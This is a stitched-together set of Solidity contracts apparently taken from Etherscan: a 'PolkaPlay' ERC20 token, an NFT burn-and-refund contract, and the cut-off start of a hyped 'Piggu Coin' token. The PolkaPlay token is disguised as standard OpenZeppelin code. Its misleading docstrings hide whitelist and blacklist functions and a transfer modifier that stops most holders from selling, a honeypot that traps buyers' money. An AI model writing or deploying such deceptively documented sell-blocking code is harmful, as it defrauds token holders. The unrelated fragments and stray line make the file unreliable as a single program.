have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract PolkaPlay is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }

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/** *Submitted for verification at Etherscan.io on 2021-12-19 */ // File: @openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: Test.sol pragma solidity ^0.8.0; contract TrippedOut is Ownable, IERC721Receiver{ using SafeMath for uint256; using Address for address payable; //Burn info address public originalNFTAddress; bool public burnIsActive = false; uint256 public refundAmount; /* * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } constructor( address _originalNFTAddress, uint256 _refundAmount ){ originalNFTAddress = _originalNFTAddress; refundAmount = _refundAmount; } modifier whenPublicBurnActive() { require(burnIsActive, "Public burn is not active"); _; } function togglePublicBurnActive() public onlyOwner { burnIsActive = !burnIsActive; } function setOriginalNFTAddress(address _originalNFTAddress) public onlyOwner { originalNFTAddress = _originalNFTAddress; } function setRefundAmound(uint256 _refundAmount) public onlyOwner { refundAmount = _refundAmount; } function setApprovalForAll(address _to, bool _approved) public onlyOwner { IERC721(originalNFTAddress).setApprovalForAll(_to, _approved); } function transferOut(uint256[] calldata tokenIds, address _to) public onlyOwner { for(uint i = 0; i < tokenIds.length; i++){ require(IERC721(originalNFTAddress).ownerOf(tokenIds[i]) == address(this), "contract own NFT to transfer"); IERC721(originalNFTAddress).safeTransferFrom(address(this), _to, tokenIds[i]); } } function TRIPPEDOUT(uint256[] calldata tokenIds, address payable payee) public whenPublicBurnActive { // check all token conditions first // @dev tokens 0-152 are genesis tokens for(uint i = 0; i < tokenIds.length; i++){ require(tokenIds[i] <= 152, "Can only burn genesis tokens 0-152"); require(IERC721(originalNFTAddress).ownerOf(tokenIds[i]) == msg.sender, "Must own NFT to burn."); } // transfer tokens to contract for(uint i = 0; i < tokenIds.length; i++){ IERC721(originalNFTAddress).safeTransferFrom(msg.sender, address(this), tokenIds[i]); } // pay out payee payee.sendValue(refundAmount.mul(tokenIds.length)); } function deposit() public payable {} // allow owner to withdraw all funds if needed function withdraw(address payable _to) public onlyOwner { _to.sendValue(address(this).balance); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-07 */ // Piggu Coin (PIGGU). fuck Shiba, OG Piggu //Guaranteed Moon //35% burn and distribution to holders/liquidity //Liquidity Locked //TG: https://t.me/piggucoin //Website: TBA pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when 